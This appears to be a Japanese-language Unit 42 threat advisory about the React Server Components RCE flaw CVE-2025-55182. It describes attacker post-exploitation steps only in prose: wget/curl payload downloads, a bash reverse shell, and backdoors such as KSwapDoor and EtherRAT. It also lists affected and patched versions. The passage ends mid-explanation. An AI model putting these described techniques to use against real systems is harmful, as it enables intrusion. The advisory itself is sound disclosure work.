{"id":167641,"date":"2025-12-12T08:29:06","date_gmt":"2025-12-12T16:29:06","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=167641"},"modified":"2025-12-16T07:49:11","modified_gmt":"2025-12-16T15:49:11","slug":"cve-2025-55182-react-and-cve-2025-66478-next","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/cve-2025-55182-react-and-cve-2025-66478-next\/","title":{"rendered":"React Server Components \u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027\u306e\u60aa\u7528 (12\u670812\u65e5\u66f4\u65b0)"},"content":{"rendered":"<h2><a id=\"post-167641-_4sqnpan31kg5\"><\/a>\u30a8\u30b0\u30bc\u30af\u30c6\u30a3\u30d6\u30b5\u30de\u30ea<\/h2>\n<p>2025\u5e7412\u670812\u65e5 \u66f4\u65b0<\/p>\n<p><span style=\"font-weight: 400;\">Unit 42\u306f\u3001\u3053\u308c\u307e\u3067\u672a\u78ba\u8a8d\u3067\u3042\u3063\u305f\u300cKSwapDoor\u300d\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u306eLinux\u30d0\u30c3\u30af\u30c9\u30a2\u306f\u3001\u5f53\u521dBPFDoor\u3068\u8aa4\u8a8d\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u4e3b\u306a\u7279\u5fb4\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\uff1a<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>P2P\u30e1\u30c3\u30b7\u30e5\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\uff1a<\/b><span style=\"font-weight: 400;\"> \u30de\u30eb\u30c1\u30db\u30c3\u30d7\u30eb\u30fc\u30c6\u30a3\u30f3\u30b0\u3092\u53ef\u80fd\u306b\u3057\u3001\u5805\u7262\u306aC2\u901a\u4fe1\uff08\u30b3\u30de\u30f3\u30c9\uff06\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\uff09\u3092\u5b9f\u73fe\u3055\u3089\u306b\u3001Linux\u30d0\u30c3\u30af\u30c9\u30a2\u3067\u3042\u308bKSwapDoor\uff0812\u670812\u65e5\u4ee5\u524d\u3001\u672c\u8a18\u4e8b\u5185\u3067\u306fBPFDoor\u3068\u8b58\u5225\u3055\u308c\u3066\u3044\u305f\u3082\u306e\uff09\u306e\u4e8b\u4f8b\u3082\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u5f37\u529b\u306a\u6697\u53f7\u5316\uff1a<\/b><span style=\"font-weight: 400;\"> Diffie-Hellman\u9375\u4ea4\u63db\u3092\u7528\u3044\u305fAES-256-CFB\u3092\u4f7f\u7528<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u96a0\u853d\u6027\u3068\u6c38\u7d9a\u6027\uff1a<\/b><span style=\"font-weight: 400;\"> \u6b63\u898f\u306eLinux\u30ab\u30fc\u30cd\u30eb\u30b9\u30ef\u30c3\u30d7\u30c7\u30fc\u30e2\u30f3\u306b\u507d\u88c5<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u5b8c\u5168\u306a\u30ea\u30e2\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\uff1a<\/b><span style=\"font-weight: 400;\"> \u5bfe\u8a71\u578b\u30b7\u30a7\u30eb\u3001\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u3001\u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c\u3001\u304a\u3088\u3073\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u30e1\u30f3\u30c8\uff08\u6a2a\u5c55\u958b\uff09\u306e\u30b9\u30ad\u30e3\u30f3\u6a5f\u80fd\u3092\u63d0\u4f9b<\/span><\/li>\n<\/ul>\n<h3><a id=\"post-167641-_62i85aqhnjt\"><\/a><strong>2025\u5e7412\u67089\u65e5\u66f4\u65b0<\/strong><\/h3>\n<p data-path-to-node=\"2\"><span style=\"font-weight: 400;\">Unit 42 \u306f\u3001\u5317\u671d\u9bae (DPRK) \u306e<\/span><a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/contagious-interview-ja\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">\u300cContagious Interview\u300d\u30c4\u30fc\u30eb<\/span><\/a><span style=\"font-weight: 400;\">\u3068\u306e\u91cd\u8907\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u308b\u6d3b\u52d5\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002<\/span><a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/contagious-interview-ja\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">\u305f\u3060\u3057\u3001\u73fe\u6642\u70b9\u3067\u6b63\u5f0f\u306a\u30a2\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3 (\u5e30\u5c5e) \u306f\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u305b\u3093<\/span><\/a><span style=\"font-weight: 400;\">\u3002Contagious Interview \u306f\u3001DPRK \u306b\u95a2\u9023\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u63a1\u7528\u62c5\u5f53\u8005\u3092\u88c5\u3044\u3001\u30c6\u30c3\u30af\u696d\u754c\u306e\u6c42\u8077\u8005\u306e\u30c7\u30d0\u30a4\u30b9\u306b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u305b\u308b\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u3059\u3002<\/span><\/p>\n<p data-path-to-node=\"3\">\u4eca\u56de\u89b3\u6e2c\u3055\u308c\u305f\u6d3b\u52d5\u306b\u306f\u300cEtherRAT\u300d\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<span style=\"font-weight: 400;\">\u5317\u671d\u9bae<\/span> \u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3067\u3042\u308b UNC5342 \u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u914d\u4fe1\u304a\u3088\u3073\u6697\u53f7\u8cc7\u7523\u306e\u7a83\u53d6\u306b<a href=\"https:\/\/cloud.google.com\/blog\/topics\/threat-intelligence\/dprk-adopts-etherhiding\" target=\"_blank\" rel=\"noopener\">\u300cEtherHiding\u300d\u306e\u624b\u6cd5\u3092\u5229\u7528<\/a>\u3057\u3066\u3044\u308b\u3068\u5831\u544a\u3055\u308c\u3066\u3044\u307e\u3059\u3002EtherHiding \u306f\u3001\u30d6\u30ed\u30c3\u30af\u30c1\u30a7\u30fc\u30f3\u6280\u8853\u3092\u60aa\u7528\u3057\u3066\u60aa\u610f\u306e\u3042\u308b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4fdd\u5b58\u30fb\u53d6\u5f97\u3059\u308b\u624b\u53e3\u3067\u3059\u3002<\/p>\n<p data-path-to-node=\"4\"><span style=\"font-weight: 400;\">\u3055\u3089\u306b\u3001Linux\u30d0\u30c3\u30af\u30c9\u30a2\u3067\u3042\u308bKSwapDoor\uff0812\u670812\u65e5\u4ee5\u524d\u3001\u672c\u8a18\u4e8b\u5185\u3067\u306fBPFDoor\u3068\u8b58\u5225\u3055\u308c\u3066\u3044\u305f\u3082\u306e\uff09\u306e\u4e8b\u4f8b\u3082\u89b3\u6e2c\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p>\u6700\u5f8c\u306b\u3001Unit 42 \u306f\u3001\u3053\u308c\u307e\u3067\u6587\u66f8\u5316\u3055\u308c\u3066\u3044\u306a\u304b\u3063\u305f\u300cAuto-color\u300d\u30d0\u30c3\u30af\u30c9\u30a2\u306e\u8907\u6570\u306e\u4e8b\u4f8b\u3092\u691c\u51fa\u3057\u307e\u3057\u305f\u3002<a href=\"https:\/\/unit42.paloaltonetworks.com\/new-linux-backdoor-auto-color\/\" target=\"_blank\" rel=\"noopener\">Auto-color \u306f\u6b63\u898f\u306e Pluggable Authentication Module (PAM) \u30e9\u30a4\u30d6\u30e9\u30ea (<span style=\"font-family: 'courier new', courier, monospace;\">pamssod<\/span>) \u306b\u306a\u308a\u3059\u307e\u3057\u307e\u3059<\/a>\u3002<\/p>\n<p>\u8a73\u7d30\u306f<a href=\"https:\/\/docs.google.com\/document\/d\/1-gOX3FcIqQx9xVjJNcelC4HmZbN0inNbt6PziWkZXZg\/edit?tab=t.0#heading=h.jh1zjkh1d3y7\" target=\"_blank\" rel=\"noopener\">\u300c\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5 (Post-Exploitation Activity) \u306e\u7bc4\u56f2\u300d<\/a>\u30bb\u30af\u30b7\u30e7\u30f3\u3092\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n<h3><a id=\"post-167641-_2nbbjgdthgna\"><\/a><strong>2025\u5e7412\u67088\u65e5\u66f4\u65b0<\/strong><\/h3>\n<p>Unit 42 \u306f\u3001CVE-2025-55182 \u306e\u60aa\u7528\u306b\u7d9a\u304f\u300c\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5 (Post-Exploitation Activity)\u300d\u3092\u89b3\u6e2c\u3057\u3066\u304a\u308a\u3001\u8907\u6570\u306e\u653b\u6483\u30d9\u30af\u30c8\u30eb\u306e\u5b58\u5728\u304c\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u653b\u6483\u306b\u306f\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c (RCE) \u306e\u8106\u5f31\u6027\u3092\u72d9\u3063\u305f\u81ea\u52d5\u30b9\u30ad\u30e3\u30f3\u306b\u3088\u308b\u521d\u671f\u5075\u5bdf\u3084\u3001\u4ee5\u4e0b\u306e\u76ee\u7684\u306e\u305f\u3081\u306e Base64 \u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\uff1a<\/p>\n<ul>\n<li><span style=\"font-weight: 400;\">\u4fb5\u5bb3\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c8\u8fc5\u901f\u306a\u53d6\u5f97<\/span><\/li>\n<li>\u6a29\u9650\u30ec\u30d9\u30eb\u306e\u78ba\u8a8d<\/li>\n<li>\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306e\u30de\u30c3\u30d4\u30f3\u30b0<\/li>\n<li>\u6a5f\u5bc6\u6027\u306e\u9ad8\u3044\u8a8d\u8a3c\u60c5\u5831\u304a\u3088\u3073 DNS \u8a2d\u5b9a\u306e\u5217\u6319<\/li>\n<li>\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308b C2 \u304b\u3089\u306e\u60aa\u610f\u3042\u308b\u30d0\u30a4\u30ca\u30ea\u306e\u53d6\u5f97<\/li>\n<\/ul>\n<p>\u653b\u6483\u8005\u306f\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u6d3b\u52d5\u3092\u9032\u3081\u3001<span style=\"font-family: 'courier new', courier, monospace;\">wget<\/span> \u3084 <span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span> \u3092\u60aa\u7528\u3057\u3066\u3001<span style=\"font-family: 'courier new', courier, monospace;\">sex.sh<\/span> \u3084\u6301\u7d9a\u7684\u306a\u611f\u67d3\u3092\u76ee\u7684\u3068\u3057\u305f Linux \u30c9\u30ed\u30c3\u30d1\u30fc (<span style=\"font-family: 'courier new', courier, monospace;\">x86_64<\/span>) \u306a\u3069\u306e\u60aa\u610f\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u304a\u3088\u3073\u5b9f\u884c\u3057\u307e\u3057\u305f\u3002\u3042\u308b\u4e8b\u4f8b\u3067\u306f\u3001Cobalt Strike \u30b5\u30fc\u30d0\u30fc\u3068\u601d\u308f\u308c\u308b\u63a5\u7d9a\u5148\u3078\u306e bash \u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u3055\u3089\u306b\u3001PRC (\u4e2d\u83ef\u4eba\u6c11\u5171\u548c\u56fd) \u56fd\u5bb6\u5b89\u5168\u90e8\u3068\u306e\u95a2\u9023\u304c\u7591\u308f\u308c\u308b\u521d\u671f\u30a2\u30af\u30bb\u30b9\u30d6\u30ed\u30fc\u30ab\u30fc (IAB) \u3067\u3042\u308b<a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/from-activity-to-formal-naming\/\" target=\"_blank\" rel=\"noopener\"> CL-STA-1015 \u3068\u3057\u3066\u8ffd\u8de1\u3057\u3066\u3044\u308b\u6d3b\u52d5\u30af\u30e9\u30b9\u30bf<\/a>\u3068\u4e00\u81f4\u3059\u308b\u6d3b\u52d5\u3082\u89b3\u6e2c\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u6d3b\u52d5\u3067\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span> \u307e\u305f\u306f <span style=\"font-family: 'courier new', courier, monospace;\">wget<\/span> \u3092\u4ecb\u3057\u305f\u60aa\u610f\u3042\u308b\u30b7\u30a7\u30eb\u30b9\u30af\u30ea\u30d7\u30c8 (<span style=\"font-family: 'courier new', courier, monospace;\">slt<\/span>) \u306e\u30d5\u30a1\u30a4\u30eb\u30ec\u30b9\u5b9f\u884c\u304c\u884c\u308f\u308c\u3001\u305d\u306e\u5f8c SNOWLIGHT \u304a\u3088\u3073 VShell \u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u8a73\u7d30\u306f<a href=\"https:\/\/www.google.com\/search?q=https:\/\/unit42.paloaltonetworks.com\/cve-2025-55182-react-and-cve-2025-66478-next\/%23post-167619-_jh1zjkh1d3y7\" target=\"_blank\" rel=\"noopener\">\u300c\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5 (Post-Exploitation Activity) \u306e\u7bc4\u56f2\u300d<\/a>\u30bb\u30af\u30b7\u30e7\u30f3\u3092\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n<hr \/>\n<p>2025\u5e7412\u67083\u65e5\u3001\u7814\u7a76\u8005\u3089\u306f React Server Components (RSC) \u3067\u4f7f\u7528\u3055\u308c\u308b Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u304a\u3051\u308b\u91cd\u5927\u306a\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c (RCE) \u306e\u8106\u5f31\u6027\u3092\u516c\u8868\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u5f53\u521d\u3001\u3053\u306e\u4e0d\u5177\u5408\u306f 2 \u3064\u306e\u8106\u5f31\u6027\u3001<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-55182\" target=\"_blank\" rel=\"noopener\">CVE-2025-55182<\/a> (React) \u304a\u3088\u3073<a href=\"https:\/\/nextjs.org\/blog\/CVE-2025-66478\" target=\"_blank\" rel=\"noopener\"> CVE-2025-66478<\/a> (Next.js) \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u4e21\u8005\u3068\u3082\u306b\u6700\u5927\u6df1\u523b\u5ea6\u3067\u3042\u308b CVSS 10.0 \u304c\u5272\u308a\u5f53\u3066\u3089\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u305d\u306e\u5f8c\u3001CVE-2025-66478 \u306f CVE-2025-55182 \u306e\u91cd\u8907\u3068\u3057\u3066\u5374\u4e0b\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n<p>\u3053\u306e\u4e0d\u5177\u5408\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u306f\u3001\u60aa\u610f\u306e\u3042\u308b HTTP \u30ea\u30af\u30a8\u30b9\u30c8\u306e\u5b89\u5168\u3067\u306a\u3044\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u3092\u4ecb\u3057\u3066\u3001\u30b5\u30fc\u30d0\u30fc\u4e0a\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002\u30c6\u30b9\u30c8\u306b\u3088\u308b\u3068\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u4fe1\u983c\u6027\u306f 100% \u306b\u8fd1\u304f\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u306b\u5bfe\u3057\u3066\u6709\u52b9\u3067\u3042\u308a\u3001\u30b3\u30fc\u30c9\u306e\u5909\u66f4\u3092\u5fc5\u8981\u3068\u3057\u307e\u305b\u3093\u30022025\u5e7412\u67083\u65e5\u6642\u70b9\u3067\u306f wild (\u5b9f\u74b0\u5883) \u3067\u306e\u60aa\u7528\u5831\u544a\u306f\u3042\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u304c\u3001Unit 42 \u306f\u305d\u306e\u5f8c\u3001\u66f4\u65b0\u60c5\u5831\u3067\u8a73\u8ff0\u3057\u3066\u3044\u308b\u3088\u3046\u306b\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5\u3092\u89b3\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>React \u306f\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30ba\u74b0\u5883\u3067\u5e83\u304f\u5b9f\u88c5\u3055\u308c\u3066\u304a\u308a\u3001\u5168\u958b\u767a\u8005\u306e\u7d04 40% \u306b\u4f7f\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u4e00\u65b9\u3001Next.js \u306f\u7d04 18%\u301c20% \u306b\u4f7f\u7528\u3055\u308c\u3066\u304a\u308a\u3001React \u30a8\u30b3\u30b7\u30b9\u30c6\u30e0\u306b\u304a\u3051\u308b\u4e3b\u8981\u306a\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e<a href=\"https:\/\/www.paloaltonetworks.com\/cortex\/cortex-xpanse\" target=\"_blank\" rel=\"noopener\"> Cortex Xpanse<\/a> \u306f\u3001\u5f53\u793e\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u5185\u3067 968,000 \u3092\u8d85\u3048\u308b React \u304a\u3088\u3073 Next.js \u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u5b58\u5728\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>CVE-2025-55182 \u306f\u3001React 19 \u30a8\u30b3\u30b7\u30b9\u30c6\u30e0\u304a\u3088\u3073\u305d\u308c\u3092\u5b9f\u88c5\u3059\u308b\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u3001\u4ee5\u4e0b\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u5f71\u97ff\u3092\u53d7\u3051\u307e\u3059\uff1a<\/p>\n<ul>\n<li><strong>React:<\/strong> \u30d0\u30fc\u30b8\u30e7\u30f3 19.0\u300119.1\u3001\u304a\u3088\u3073 19.2<\/li>\n<li><strong>Next.js:<\/strong> \u30d0\u30fc\u30b8\u30e7\u30f3 15.x \u304a\u3088\u3073 16.x (App Router)\u3001\u304a\u3088\u3073 14.3.0 \u4ee5\u964d\u306e Canary \u30d3\u30eb\u30c9<\/li>\n<li><strong>\u305d\u306e\u4ed6\u306e\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af<\/strong>: React Router\u3001Waku\u3001RedwoodSDK\u3001Parcel\u3001Vite RSC \u30d7\u30e9\u30b0\u30a4\u30f3\u306a\u3069\u3001react-server \u5b9f\u88c5\u3092\u30d0\u30f3\u30c9\u30eb\u3057\u3066\u3044\u308b\u3042\u3089\u3086\u308b\u30e9\u30a4\u30d6\u30e9\u30ea<\/li>\n<\/ul>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u4ee5\u4e0b\u306e\u65b9\u6cd5\u3067 CVE-2025-55182 \u306b\u5bfe\u3059\u308b\u4fdd\u8b77\u3068\u7de9\u548c\u7b56\u3092\u53d7\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\uff1a<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.paloaltonetworks.com\/pan-os\/10-1\/pan-os-new-features\/url-filtering-features\/advanced-url-filtering\" target=\"_blank\" rel=\"noopener\">Advanced URL Filtering<\/a> \u304a\u3088\u3073<a href=\"https:\/\/docs.paloaltonetworks.com\/dns-security\" target=\"_blank\" rel=\"noopener\"> Advanced DNS Security<\/a><\/li>\n<li><a href=\"https:\/\/docs.paloaltonetworks.com\/advanced-threat-prevention\/administration\" target=\"_blank\" rel=\"noopener\">Advanced Threat Prevention<\/a> \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3092\u642d\u8f09\u3057\u305f<a href=\"https:\/\/docs.paloaltonetworks.com\/ngfw\" target=\"_blank\" rel=\"noopener\"> Next-Generation Firewall (\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb)<\/a><\/li>\n<li><a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XDR\" target=\"_blank\" rel=\"noopener\">Cortex XDR<\/a> \u304a\u3088\u3073<a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XSIAM\" target=\"_blank\" rel=\"noopener\"> XSIAM<\/a> \u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306f\u3001\u591a\u5c64\u9632\u5fa1\u30a2\u30d7\u30ed\u30fc\u30c1\u3092\u4f7f\u7528\u3057\u3066\u60aa\u7528\u5f8c\u306e\u6d3b\u52d5\u304b\u3089\u306e\u4fdd\u8b77\u3092\u652f\u63f4\u3057\u307e\u3059<\/li>\n<li><a href=\"https:\/\/www.paloaltonetworks.com\/cortex\/cortex-xpanse\" target=\"_blank\" rel=\"noopener\">Cortex Xpanse<\/a> \u306f\u3001\u30d1\u30d6\u30ea\u30c3\u30af\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u3067\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u30c7\u30d0\u30a4\u30b9\u3084\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u7279\u5b9a\u3057\u3001\u9632\u5fa1\u8005\u306b\u305d\u306e\u7d50\u679c\u3092\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\u3059\u308b\u3088\u3046\u306b\u8a2d\u8a08\u3055\u308c\u3066\u3044\u307e\u3059<\/li>\n<li><a href=\"https:\/\/www.paloaltonetworks.com\/cortex\/cloud\" target=\"_blank\" rel=\"noopener\">Cortex Cloud<\/a> \u304a\u3088\u3073<a href=\"https:\/\/www.paloaltonetworks.com\/prisma\/cloud\/cloud-code-security\" target=\"_blank\" rel=\"noopener\"> Prisma Cloud<\/a> \u306f\u3001\u672c\u30d6\u30ea\u30fc\u30d5\u3067\u8b70\u8ad6\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u6027\u306b\u3055\u3089\u3055\u308c\u3066\u3044\u308b\u30af\u30e9\u30a6\u30c9\u30ea\u30bd\u30fc\u30b9\u306b\u5bfe\u3059\u308b\u691c\u51fa\u6a5f\u80fd\u3092\u5099\u3048\u3066\u3044\u307e\u3059<\/li>\n<\/ul>\n<p>\u307e\u305f\u3001\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u3001\u4ee5\u4e0b\u306e\u4fee\u6b63\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u76f4\u3061\u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3092\u63a8\u5968\u3057\u307e\u3059\uff1a<\/p>\n<ul>\n<li>React: 19.0.1\u300119.1.2\u3001\u307e\u305f\u306f 19.2.1 \u3078\u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9<\/li>\n<li>Next.js: 16.0.7\u300115.5.7\u300115.4.8\u300115.3.6\u300115.2.6\u300115.1.9\u300115.0.5 \u3092\u542b\u3080\u6700\u65b0\u306e\u5b89\u5b9a\u3057\u305f\u30d1\u30c3\u30c1\u9069\u7528\u6e08\u307f\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9<\/li>\n<\/ul>\n<p>\u4fb5\u5bb3\u3078\u306e\u5bfe\u5fdc\u3084\u3001\u30ea\u30b9\u30af\u4f4e\u6e1b\u306e\u305f\u3081\u306e\u30d7\u30ed\u30a2\u30af\u30c6\u30a3\u30d6\u306a\u8a55\u4fa1\u306b\u3064\u3044\u3066\u306f\u3001<a href=\"https:\/\/start.paloaltonetworks.com\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">Unit 42 \u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u30c1\u30fc\u30e0<\/a>\u306b\u3054\u76f8\u8ac7\u304f\u3060\u3055\u3044\u3002<\/p>\n<table style=\"width: 98.4374%;\">\n<thead>\n<tr>\n<td style=\"width: 35%;\"><b>\u89e3\u8aac\u3059\u308b\u8106\u5f31\u6027<\/b><\/td>\n<td style=\"width: 180.163%;\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/cve-2025-55182-ja\/\" target=\"_blank\" rel=\"noopener\"><b>CVE-2025-55182<\/b><\/a>, <strong><a href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/tag\/cve-2025-66478-ja\/\" target=\"_blank\" rel=\"noopener\">CVE-2025-66478<\/a><\/strong><\/td>\n<\/tr>\n<\/thead>\n<\/table>\n<h2><a id=\"post-167641-_k5jewt6vr9un\"><\/a>\u8106\u5f31\u6027\u306e\u8a73\u7d30: CVE-2025-55182 (React)<\/h2>\n<p>CVE-2025-55182 \u306f\u300c\u7dca\u6025 (Critical)\u300d(CVSS 10.0) \u306b\u5206\u985e\u3055\u308c\u3001RSC \u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u3001\u7279\u306b Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u95a2\u9023\u3059\u308b\u5b89\u5168\u3067\u306a\u3044\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u306b\u3088\u3063\u3066\u5f15\u304d\u8d77\u3053\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306f <span style=\"font-family: 'courier new', courier, monospace;\">react-server<\/span> \u30d1\u30c3\u30b1\u30fc\u30b8\u304a\u3088\u3073\u305d\u306e RSC Flight \u30d7\u30ed\u30c8\u30b3\u30eb\u306e\u5b9f\u88c5\u306b\u5b58\u5728\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u8ad6\u7406\u7684\u306a\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u306e\u4e0d\u5177\u5408\u3067\u3042\u308a\u3001\u30b5\u30fc\u30d0\u30fc\u304c RSC \u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5b89\u5168\u306b\u51e6\u7406\u3059\u308b\u65b9\u6cd5\u306b\u95a2\u9023\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30b5\u30fc\u30d0\u30fc\u304c\u7279\u5225\u306b\u7d30\u5de5\u3055\u308c\u305f\u4e0d\u6b63\u306a HTTP \u30da\u30a4\u30ed\u30fc\u30c9 (\u901a\u5e38\u306f POST \u30ea\u30af\u30a8\u30b9\u30c8\u3067\u914d\u4fe1\u3055\u308c\u308b\u30c7\u30fc\u30bf) 